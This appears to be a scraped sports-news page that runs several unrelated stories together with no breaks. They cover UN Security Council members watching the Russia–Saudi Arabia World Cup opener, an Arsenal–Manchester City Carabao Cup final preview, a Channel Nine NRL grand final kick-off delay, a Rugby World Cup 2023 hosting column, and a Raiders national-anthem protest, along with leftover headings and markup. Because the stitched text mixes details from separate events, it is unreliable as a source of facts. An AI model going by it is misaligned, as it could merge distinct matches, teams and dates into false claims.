Secretary-General António Guterres, or simply ‘António’ for the day, wearing a referee’s t-shirt, welcomed the 15 members to the holiest of holy venues, the chamber of the UN Security Council. After posing for a photo shoot, members of the council proceeded to watch the opening match that was played between Russia and Saudi Arabia in Moscow’s Luzhniki Stadium. Just prior to the kickoff, Nebenzia ignited the spirit of the competition with a fiery speech. Throughout the match, ‘Vassily,’ slipping outside the boundaries of the usual diplomatic protocol, could not help his excitement to cheer for Team Russia, which secured an impressive 5-0 win against the Saudis at the inaugural clash at the world’s top football tournament. Like this story? Share it with a friend! The 2017-18 season’s first piece of major silverware is up for grabs with the Premier League leaders the favourites to come out on top. The competition represents the Gunners’ best chance of a trophy this term with there being some tough opponents left in the Europa League. It is the only domestic prize that Arsene Wenger has not won in his 21 years at the club. For Pep Guardiola‘s dominant Manchester City side the EFL Cup would almost certainly secure them the double and even perhaps set them on the way to a treble thanks to their firm grip on the league title, while Champions League success is also achievable. The two Premier League heavyweights face off on Sunday 25 February. The game kicks off at 4.30pm. The game will be played at Wembley Stadium. The final will be broadcast live on Sky Sports’ main event and football channels (Sky 401 and 403, Virgin Media 511 and 513, BT TV 402 SD and 437 HD). It can also be streamed live online via Sky Go. A highlights package will also be broadcast on Sky’s football-only channel at 9:45pm. Arsenal will be without striker Alexandre Lacazette due to a knee injury, though Aaron Ramsey could be fit after returning to training from a groin strain. Henrikh Mkhitaryan is cup-tied while Santi Cazorla is a long-term absentee. City remain without left-back Benjamin Mendy because of an ACL injury but Gabriel Jesus could make an early return from ligament damage which has sidelined him since New Year’s Eve. Arsenal 9/2 Draw 39/11 Manchester City 8/13 (Courtesy of Oddschecker) Rugby League: Keith Titmuss scores Grand Final match winner. Cameron Smith’s Storm and Gavin Cooper’s Cowboys will square off in the NRL grand final. THE Melbourne Storm will tackle North Queensland in the NRL grand final tonight. It will be broadcast live on Channel 9. COMPLETE LIVE COVERAGE OF THE GRAND FINAL BETWEEN THE MELBOURNE STORM AND NORTH QUEENSLAND COWBOYS We will bring you all the build-up to the NRL decider and all the action from ANZ Stadium live with our rolling coverage. The 7.15pm (AEDT) advertised kick-off for tonight’s NRL grand final has been delayed by 15 minutes thanks to broadcaster Channel Nine. The Melbourne v North Queensland decider will now start at 7.30pm to ensure Nine gets the opportunity to run their most lucrative commercials of the season while four million viewers are glued to their sets waiting for the game to start. NRL spokesman Glenn Jackson told The Daily Telegraph big games are often delayed to ensure the 80,000 fans get into the ground on time. Not so. The kick-off time is actually decided by the broadcaster under the NRL’s television contract. The later the kick-off the more Channel Nine’s advertisers get in prime time. Thankfully this is the last year Nine can determine starting times. It is a huge frustration for fans on Origin nights and even Friday night football with kick-off times often delayed for the network. Under the new TV agreement which starts next season, the NRL has full control of the playing schedule and kick-off time to major events. NRL grand final tickets can be bought via Ticketek with gates opening at 1.15pm. Originally published as Channel Nine delays NRL grand final kick-off Three into one does not go and the rival candidates were tripping over themselves into a desperate last effort to schmooze and charm the governing body into handing over the keys to the sport’s showpiece event. Brian O’Driscoll was there for Ireland, Sebastian Chabal for France and Francois Pienaar for South Africa in the hope of persuading World Rugby that their case was the best. A recommendation will be made next month which will be rubber-stamped in November as to who will follow Japan as the next hosts. Ireland, having never hosted the tournament, carry the romantic pull, promising to cast aside political division to deliver a pan-island event which would be guaranteed to be the mother of all parties. The women’s World Cup, hosted by Ireland in the summer, was seen as a dry run for the men’s event. It showed up some weaknesses – accommodation in Belfast for the final was a spectacular rip-off – but the Irish have responded with guarantees on hotel prices for fans for 2023. France represents the more hard-headed option with the promise of wheelbarrow loads of euros – a currency World Rugby are instinctively more drawn to. The £80m England had to guarantee to the governing body in order to stage the 2015 tournament will rise to £92m for Japan in 2019 and then to £120m in 2023. France, with their big, modern stadia in place, are wafting an extra 20 per cent on top. The last time France staged the event in 2007, it put on a fine tournament, memorable for England’s Jamaican Bobsleigh team run to the final after being whitewashed by the eventual winners South Africa in the group stages. However it did not hold a candle to the greatest World Cup of all, 1995 in the Republic, so dream-like Hollywood made a film of it. Nelson Mandela, Pienaar and a rampaging Jonah Lomu in post-apartheid South Africa…it was a storyline as fantastical as it was fantastic and set against Africa’s unique backdrop. For many reasons, there could never be another World Cup to match that one but it feels like it is approaching the right time to try. Here then is the solution as to who should win the right to stage the 2023 World Cup. Three into one might not go, but perhaps three into two might. Football awarded successive World Cups to Russia and Qatar at the same time and the IOC recently did likewise with the 2024 and 2028 Olympics. There is nothing to stop World Rugby doing the same. The 2019 tournament is to be in Asia so let’s have an Irish World Cup in Europe in 2023 and a South African one in 2027. For rugby it might not mean double the money but it would definitely mean double the fun.
Copa Libertadores final: Boca Juniors vs River Plate postponed




What are the new kick-off times in the Champions League?
Why have the Champions League kick-off times changed?
Champions League fixtures
When is Arsenal vs Manchester City?
Where is the match?
Carabao Cup final live stream
Team news
Match odds
Keith Titmuss scores Grand Final match winner0:53


AP Photo/Alex Brandon
After an NFL Sunday marked by players demonstrating in solidarity during the national anthem the Oakland Raiders capped off the night with one of the strongest displays in the league.
Ahead of their Sunday Night Football matchup against the Washington Redskins, the majority of the team sat during the anthem while playing in Washington D.C., just miles from the White House. While fans expected the Raiders offensive line to sit, it was striking to see just how many of their teammates sat or knelt with them as the flag unfurled in the nation’s capitol during what is sure to be the most watched game of the day.
During the broadcast, NBC sideline reporter Michele Tafoya reported that while speaking with Raiders head coach Jack Del Rio, she was told that the team would have preferred to stay in the locker room during the ceremony, but due to time restrictions during primetime games, doing so would have resulted in the team forfeiting the coin toss and a 15-yard penalty.
While the majority of players sat out the anthem, there were a few that stood through the song. Most notably quarterback Derek Carr, a devout Catholic, was seen praying through the moment.
On the Redskins sideline there were a few players who chose to kneel, while others stood with arms linked, with owner Dan Snyder, who donated $ 1 million to Trump ahead of his inauguration, joining them in line.
https://twitter.com/mims/statuses/912112260092502019
Redskins owner Dan Snyder, whose team issued a statement as the National Anthem started, locking arms with players pic.twitter.com/Fs36n4lT3H
You can check out details of how more teams across the league handled the national anthem this week here.
NOW WATCH: Mayweather vs. McGregor: Here’s how the world’s best fighters match up
![]()
]]>